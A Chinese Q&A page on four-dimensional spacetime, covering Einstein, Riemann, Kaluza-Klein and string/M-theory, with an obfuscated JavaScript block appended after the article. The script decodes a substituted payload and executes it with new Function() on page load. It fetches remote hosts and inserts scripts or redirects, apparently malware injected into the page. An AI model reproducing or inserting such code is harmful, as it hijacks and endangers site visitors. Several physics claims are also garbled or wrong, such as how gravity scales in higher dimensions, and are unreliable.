有些科学家迫切想进入四维时空,他们是否发现了什么?
推荐回答(1个)
四维时空是爱因斯坦最早提出的概念。爱因斯坦将时间作为了类似于空间的几何维度概念纳入了物理学方程中,才有了相对论的出现。
所以在相对论的解读下,我们本来生活在一个四维时空中,所以不存在题主说的进入问题。或许你想说的应该是进入四维空间,或者叫超空间。对于四维实际上有很多种理解。
最早的宇宙学模型
1917年,爱因斯坦发表了一篇《根据广义相对论对宇宙学所作的考查》。这篇论文为现代宇宙学奠定了理论基础。
广义相对论的场方程看似简洁,但它实际是一个十阶方程组,包含十个未知数,所以要解相对论场方程,就必须确定一些前提条件。
如果用场方式来推测宇宙的状态,就必须合理为一些未知数赋值,物理学家常常会确定一些“初始条件”和“边界条件”。当然这一切大都只能靠合理假设,或者说靠猜。
爱因斯坦就假设宇宙是“有限无界”的。
在《狭义与广义相对论浅说》的第31节中,爱因斯坦就描述过一个“有限”而又“无界”的宇宙的可能性。
这里说的球面空间,在今天理解看来就是一个四维超球体中的一个三维立体“超球面”。这里的“面”代表的是镶嵌在超空间表面的立体空间。
如果说这样的宇宙有中心,那它的中心就在这个四维超球体的中心,它不会位于宇宙之中,而是在我们进入不了的第四空间维度上。
四维思想的起源
四维时空虽然是爱因斯坦提出来的,但四维思想的来源,来自黎曼对空间的洞察。
1854年,黎曼在哥廷根大学就职演讲上,对几何的基础侃侃而谈。由此开创了动摇了欧几里得几何的统治地位的黎曼几何。虽然在他之前,罗巴切夫斯基的罗式几何也一直革新的非欧几何,但罗式几何描述的空间与现实空间不符,或者说无法用于物理学上的应用描述。
黎曼几何则可以极大的匹配现实物理描述,虽然当时人们并不知道。当黎曼几何风靡全球后,它其中的间四维空思想也席卷了整个欧洲,到1910年,神秘的四维开始大量出现在文化、艺术领域,而成为了家喻户晓的谈资。
四维空间的定义
简单来说,过空间一点,能够形成4条相互垂直的线,这样的空间就叫做四维空间。
以日常认知来说,这样的4条线是做不出来的,我们只能做三条相互垂直的线,所以一般认为文明生活的空间是一个三维空间,即立体空间。
我们无法想象,在长、宽、高三个维度上还有垂直于它们的第四个维度。所以就目前实际情况来看,四维空间只是一个数学概念,以及其他高维空间,我们都无法确定,也无法检验。
四维空间比三维空间多出一维,一般就意味着四维空间会比三维空间更大。打个比方来说,在一个固定面积的二维平面上面,如果放满了东西,还要继续堆东西就只能往上堆了,所以三维空间比二维空间“大”。所以说高维空间会比低维空间,能装更多的东西。
因此普通人把四维空间用来装妖魔鬼怪;作家把四维空间用来装科幻故事;而科学家把四维空间以及高维空间,用来装这世上已发现的自然定律。
物理学上最早的四维空间思想
最早把第四空间维,旧称第五维纳入物理学的,是一个叫卡鲁扎的不知名数学家。他利用第5维统一了爱因斯坦场方程和麦克斯韦场方程,后来被完善成为卡鲁扎-克莱茵理论。
在到后来发现了强力与弱力,以及一堆传播粒子,弦理论就把空间提升到了26个维度,来描述它们。接着纳入超对称思想后,才把维度降到了9个空间维,进而出现5个版本的超对称理论,最后爱德华·威滕又加了一个维度将5个版本统一成一个M理论。
但这一切的一切都是为了将原来的自然定律进行统一。理论物理学家们发现在三维空间里,这些自然定律无法相容,甚至矛盾,而只有把它们放在高维空间之下,利用高维空间里的超对称性,才可以把他们融合统一。
总结
虽然理论物理学家给空间加了这么多维度,但除了威滕最后加的那一个维度,所有的额外维度是十分小的,小到普朗克长度(10^-35m)以下,被称为卡-丘空间。
它们并不会显现,也不会影响我们日常生活。当然,每一个弦理论学家都想求证这样的卷缩空间是否存在。
事实上在20世纪80年代,物理学家们曾不顾一切地想把宇宙的四种基本力(万有引力、强互相作用力、弱互相作用力、电磁力)统一成一种单一的综合力量。他们第一次尝试发展成了所谓的超引力,但是由于大量的研究成果不一致和未经证实的预测,它不得不被放弃。另一个新兴的理论是弦理论。
这一理论诞生于20世纪70年代,但在80年代之前,它基本上被忽视了。80年代,这一理论再度流行,物理学家开始认真研究它。弦理论仍然是我们对宇宙的完整理解的最佳猜测之一,但是根据这个理论,宇宙存在于26个维度中!因此,奇怪的是,科学家只接触到其中的四个——空间的三个可互换维度和一个世纪前发现的时间维度。
这种荒谬一直困扰着哲学家和后来的物理学家。他们太好奇了,无法毫无疑虑地接受现实,他们想知道为什么现实是这样的。然而,最近发表在《欧洲物理学快报》上的一篇论文似乎揭示了为什么我们的宇宙可能只存在于四维空间中。
当从足够大的距离观察时,维度就不复存在了。只有当我们近距离观察一个物体时,维度才会出现。从相当远的距离来看,一张纸看起来像是一维的。然而,随着我们越走越近,这四面将逐渐向我们显现。现在,当我们走近时,会发现第三维:深度。
思考第四维有点困难,但是随着科学家越来越深入地挖掘,新的或更高的维度会出现。像洋葱一样,维度是多层盘绕的。有一个显而易见的假设,即在大爆炸后的一瞬间,所有的维度都占了上风,但由于某种原因,宇宙随后决定只展开前四个维度。物理学家怀疑其他维度是弯曲的,盘绕在奇点的空间里!
那么为什么只有四维?热力学第二定律禁止其他维度展开,这是宇宙的基本定律。新生的宇宙充满了辐射和亥姆霍兹自由能密度(这是一个对空间施加压力的热力学量)。
大爆炸后仅仅几秒钟,随着宇宙瞬间冷却,亥姆霍兹密度达到最大值,宇宙立即“冻结”。在这个阶段,宇宙以前存在于我们认为存在的每个维度,现在只局限于其中的四个维度。我们的宇宙展开到更多维度的唯一方式是,如果它存在于临界温度之上,这是一个地狱般的温度,在它被创造出来仅仅一秒钟后就肯定会冷却。
物理学家的发现类似于水的相变。一块冰转变成液态水的唯一方式是当它受热时,虽然这一理论直到最近才受到重视,使科学家转向解决这种困境的原则是人择原则。
根据人择原理,如果宇宙有任何不同,质疑其结构的智能物种就不会存在。
热力学第二定律主要解释了为什么时间只向一个方向运动,科学家称之为“向前”。该定律预测,宇宙中的时间方向与无序度增加的方向相同。然而,这个推理是不完整的。
正如熵似乎在增加,因此时间也在增加,因为宇宙仍处于膨胀阶段,这一阶段有利于智慧生命的萌芽,我们只在四维空间中体验宇宙,因为只有四维空间的盛行有利于智慧生命的开始和维持。
如果宇宙是二维的,生物体就不会到处移动。食物被消化和分解或者血液在体内循环的复杂方式在二维人体内是不可能实现的。那么,提出和研究为什么宇宙有四个维度的聪明物种,根本就不存在。
事实上,生物本身,即使是最简单的生物,也会消亡,因为地球将无法围绕太阳旋转。当两个物体之间的距离增加一倍时,万有引力的强度下降了四倍,但在五维空间下降了五倍,在六维空间下降了六倍。在更高维度的宇宙中,地球可能无法实现围绕太阳的稳定轨道,因此生物会被冻死。
也许形成太阳的引力压缩和气体膨胀在更高的维度上会有所不同,相比之下它们在四维空间中是如何发生的。也许太阳本身会过早坍塌成黑洞。即使是更高维度的原子也不会聚集并形成复杂的分子,这些分子随后会构成复杂的生命。
科学家们迫切想进入四维空间,可以把我们这个物种的长期谜团解开。这对物理学家来说也是非常鼓舞人心的,因为它代表了人类寻求统一四种基本力量的一个巨大飞跃,并最终代表了人类对宇宙是如何诞生、如何发展以及它可能走向何方的理解。
首先,科学家并没有像题主说的那样迫切想要进入四维时空,因为我们本身就生活在四维时空中。
爱因斯坦创立了相对论,统一了时间和空间,一维时间和三维空间变成连续的四维时空。那么,如果再多一个维度,例如,空间维度高了一维,五维时空宇宙会是怎样的呢?或者说四维空间会是怎样的?
目前,谁也不知道四维空间是怎样的,甚至就连高维空间存在与否都不清楚。但从理论上来讲,第四个空间维度是可以存在的,我们可以通过低维度的类比来推测五维时空应该是什么样子。
没有大小的点为零维空间,无数点组成的直线为一维空间,无数直线组成的平面为二维空间,无数平面组成的立体为三维空间,以此类推,无数立体组成的超体为四维空间。与三维空间相比,除了长、宽和高三个维度之外,还多出了一个我们所无法感知到的第四个维度。
那么,如果四维空间存在,生活中在其中的生物会是什么样子?人类进入这样的高维空间又会怎样?
关于四维空间,可以参考一下克莱因瓶。不同于三维空间中的瓶子,克莱因瓶是没有内外的概念,因为第四个空间维度连接着在三维生物看来的“内部”和“外部”。如果有一只苍蝇,它能够直接从克莱因瓶的“外部”飞入“内部”,通过第四个维度畅通无阻,并不需要穿过瓶身。
不过,像人类这样的三维生物进入四维空间中很可能无法存活。因为作为三维生物,其身体构造也只有三个维度,身体在第四个维度没有支撑,所以身体的内部会通过第四个维度直接暴露在外,这样就无法正常生存。
如果存在四维生物,他们可以通过第四个维度直接看到三维空间中的内部。如果有人在一个密闭的房间中,四维生物能够把房间内的人通过第四个维度直接转移到房间外,不需要通过房间上的门或者窗户或者其他通道,这对于三维空间中的我们而言非常不可思议。
如上图所示,想象一下,我们可以把圆圈中的二维生物(如果存在的话)通过第三个维度直接转移到圆圈外。
另外,由于多了一个维度,高维生物可以直接看到我们从出生到死亡的过程,四维时空中所发生的事情其实就是三维空间在一维时间轴上的演化。我们在三维空间中每个时刻所看到的事物,可以说是四维空间中的事物在每个时刻的三维“截体”。
根据M理论,宇宙中的时空维度达到11维,但我们只能感知到其中四维,另外七维高度蜷缩,我们无法感知。不过,这只是理论上的推测结果,目前还没有任何实验证据。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();